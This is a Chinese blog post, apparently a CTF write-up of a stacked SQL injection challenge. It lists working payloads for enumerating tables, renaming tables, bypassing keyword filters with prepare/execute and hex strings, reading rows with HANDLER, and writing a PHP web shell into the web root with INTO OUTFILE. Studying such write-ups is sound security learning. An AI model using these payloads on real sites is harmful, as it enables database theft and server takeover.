堆叠注入引发的思考

写这篇博客是因为碰到了一道强网杯随便注的强化版,在这里分享一下总结。

开始的手法一样:通过堆叠注入的常规方法一路show到底可以得到库名表名字段名。
show databases;show tables;show columns from “表名”;

对于限制较小的随便注:

0x01 重命名

通过将`919810931114514`表改成words表,将该表中的flag改为id,使得一开始的查询语句由 select id from words where id=‘’ 变成 select flag from `1919810931114514` where flag=’’
从而查询出flag
payload: 1';rename table `words` to `a`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
接着直接 1’ or 1=1# 即可查询出flag。

0x02 预处理(set + prepare + execute)

因为 set后面是字符串所以我们可以用拼接或者十六进制的方式绕过过滤。

payload:1'; Set @a=concat("sele","ct flag from `1919810931114514`");prepare h from @a;execute h;或者
1'; Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare h from @a;execute h;

0x03命令执行

介于0x02的方法上,我们还可以深入些,比如写入木马,只需要将 @a后面的字符串修改下即可,比如 @a=select “<?php eval($_POST['a']);?>” into outfile"/var/www/html/1.php",当然我们不可能直接这么写,需要转成16进制。我们也可以,当然我们更能自己写一个查询语句,不过这样做有些多此一举。

那么如果这道题增加了过滤( select,set,prepare,rename)怎么办呢?

0x04 handler

介绍一下这个函数,有类似于select的功能,更强大的是,他可以在不知道字段名的前提下查询出字段的值。
payload:1';handler `1919810931114514` open as aaa;handler aaa read first;
其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行);

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值